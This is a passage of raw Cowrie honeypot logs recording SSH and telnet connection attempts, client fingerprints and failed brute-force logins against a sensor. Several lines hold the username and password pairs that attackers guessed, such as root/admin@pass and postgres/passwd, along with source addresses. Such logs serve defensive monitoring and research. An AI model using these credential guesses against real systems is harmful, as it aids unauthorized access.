-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:53.898296Z","src_ip":"209.38.20.25","session":"f28172122280","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1qaz@wsx","message":"login attempt [git/1qaz@wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:54.776250Z","src_ip":"209.38.20.25","session":"f28172122280","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:55.991597Z","src_ip":"209.38.20.25","session":"f28172122280","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":6.936508893966675,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:56.304519Z","src_ip":"174.138.46.234","session":"afc517121a0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.106.223.226","src_port":19909,"dst_ip":"159.203.135.109","dst_port":23,"session":"2020baa1205b","protocol":"telnet","message":"New connection: 190.106.223.226:19909 (159.203.135.109:23) [session: 2020baa1205b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:53:58.042561Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42138,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a64d1e08450","protocol":"telnet","message":"New connection: 174.138.46.234:42138 (159.203.135.109:23) [session: 5a64d1e08450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:54:08.857398Z"}
{"eventid":"cowrie.session.closed","duration":13.072384357452393,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:54:11.114820Z","src_ip":"190.106.223.226","session":"2020baa1205b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43262,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ddf497b9870","protocol":"telnet","message":"New connection: 174.138.46.234:43262 (159.203.135.109:23) [session: 6ddf497b9870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:54:12.878154Z"}
{"eventid":"cowrie.session.closed","duration":7.901227951049805,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:54:20.779293Z","src_ip":"174.138.46.234","session":"6ddf497b9870","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.25040650367737,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:54:36.099825Z","src_ip":"174.138.46.234","session":"753eaf72a604","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.976662158966064,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:54:38.863527Z","src_ip":"174.138.46.234","session":"c6736eb036cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":44096,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e35d437493c","protocol":"ssh","message":"New connection: 209.38.20.25:44096 (159.203.135.109:22) [session: 6e35d437493c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:54:48.700996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:54:48.707925Z","src_ip":"209.38.20.25","session":"6e35d437493c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:54:48.915736Z","src_ip":"209.38.20.25","session":"6e35d437493c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"12345","message":"login attempt [ali/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:54:49.750733Z","src_ip":"209.38.20.25","session":"6e35d437493c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:54:50.966213Z","src_ip":"209.38.20.25","session":"6e35d437493c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":53.59389066696167,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:55:02.451185Z","src_ip":"174.138.46.234","session":"5a64d1e08450","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"180.168.24.186","src_port":25476,"dst_ip":"10.17.0.5","dst_port":22,"session":"3529aa950d4d","protocol":"ssh","message":"New connection: 180.168.24.186:25476 (10.17.0.5:22) [session: 3529aa950d4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:55:02.595049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:55:02.600501Z","src_ip":"180.168.24.186","session":"3529aa950d4d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:55:02.905321Z","src_ip":"180.168.24.186","session":"3529aa950d4d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"qawzse","message":"login attempt [guest/qawzse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:55:04.159726Z","src_ip":"180.168.24.186","session":"3529aa950d4d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:55:05.468848Z","src_ip":"180.168.24.186","session":"3529aa950d4d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":34552,"dst_ip":"159.203.135.109","dst_port":23,"session":"18edf2eefa30","protocol":"telnet","message":"New connection: 174.138.46.234:34552 (159.203.135.109:23) [session: 18edf2eefa30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:55:20.268836Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.177.253.214","src_port":43073,"dst_ip":"159.203.135.109","dst_port":23,"session":"25de533d416b","protocol":"telnet","message":"New connection: 60.177.253.214:43073 (159.203.135.109:23) [session: 25de533d416b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:55:31.797062Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":40926,"dst_ip":"159.203.135.109","dst_port":22,"session":"0c179c800a5c","protocol":"ssh","message":"New connection: 209.38.20.25:40926 (159.203.135.109:22) [session: 0c179c800a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:55:45.284972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:55:45.289635Z","src_ip":"209.38.20.25","session":"0c179c800a5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:55:45.506972Z","src_ip":"209.38.20.25","session":"0c179c800a5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.87065863609314,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:55:45.667586Z","src_ip":"60.177.253.214","session":"25de533d416b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"developer","password":"pa55w0rd","message":"login attempt [developer/pa55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:55:46.405066Z","src_ip":"209.38.20.25","session":"0c179c800a5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:55:47.619750Z","src_ip":"209.38.20.25","session":"0c179c800a5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":53832,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba872ae3471f","protocol":"ssh","message":"New connection: 59.17.95.129:53832 (10.17.0.5:22) [session: ba872ae3471f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:55:58.365627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:55:58.369492Z","src_ip":"59.17.95.129","session":"ba872ae3471f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:55:58.575358Z","src_ip":"59.17.95.129","session":"ba872ae3471f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@pass","message":"login attempt [root/admin@pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:55:59.434356Z","src_ip":"59.17.95.129","session":"ba872ae3471f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:00.644806Z","src_ip":"59.17.95.129","session":"ba872ae3471f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":55.37969899177551,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:15.648243Z","src_ip":"174.138.46.234","session":"18edf2eefa30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":35262,"dst_ip":"10.17.0.5","dst_port":22,"session":"6cc2dfcff7c9","protocol":"ssh","message":"New connection: 135.235.138.43:35262 (10.17.0.5:22) [session: 6cc2dfcff7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:34.858102Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:34.865981Z","src_ip":"135.235.138.43","session":"6cc2dfcff7c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:35.052710Z","src_ip":"135.235.138.43","session":"6cc2dfcff7c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"passwd","message":"login attempt [postgres/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:35.818944Z","src_ip":"135.235.138.43","session":"6cc2dfcff7c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:37.007891Z","src_ip":"135.235.138.43","session":"6cc2dfcff7c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56054,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f1256ae351a","protocol":"telnet","message":"New connection: 174.138.46.234:56054 (159.203.135.109:23) [session: 9f1256ae351a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:37.742408Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56130,"dst_ip":"159.203.135.109","dst_port":23,"session":"697497880a64","protocol":"telnet","message":"New connection: 174.138.46.234:56130 (159.203.135.109:23) [session: 697497880a64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:38.178147Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56400,"dst_ip":"159.203.135.109","dst_port":23,"session":"c26c0909ad9d","protocol":"telnet","message":"New connection: 174.138.46.234:56400 (159.203.135.109:23) [session: c26c0909ad9d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:39.204952Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":37888,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3b9663c1074","protocol":"telnet","message":"New connection: 188.95.113.134:37888 (159.203.135.109:23) [session: d3b9663c1074]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:39.891860Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":56074,"dst_ip":"159.203.135.109","dst_port":23,"session":"067ce54d0da4","protocol":"telnet","message":"New connection: 174.138.46.234:56074 (159.203.135.109:23) [session: 067ce54d0da4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:40.866415Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.38.20.25","src_port":47256,"dst_ip":"159.203.135.109","dst_port":22,"session":"82efc615fa6f","protocol":"ssh","message":"New connection: 209.38.20.25:47256 (159.203.135.109:22) [session: 82efc615fa6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:42.039101Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:42.043638Z","src_ip":"209.38.20.25","session":"82efc615fa6f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:42.254535Z","src_ip":"209.38.20.25","session":"82efc615fa6f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123@","message":"login attempt [root/admin123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:43.131694Z","src_ip":"209.38.20.25","session":"82efc615fa6f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.139247179031372,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:43.317330Z","src_ip":"174.138.46.234","session":"697497880a64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:44.346130Z","src_ip":"209.38.20.25","session":"82efc615fa6f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.95.113.134","src_port":53340,"dst_ip":"159.203.135.109","dst_port":23,"session":"d05bdb922b9f","protocol":"telnet","message":"New connection: 188.95.113.134:53340 (159.203.135.109:23) [session: d05bdb922b9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T11:56:44.907385Z"}
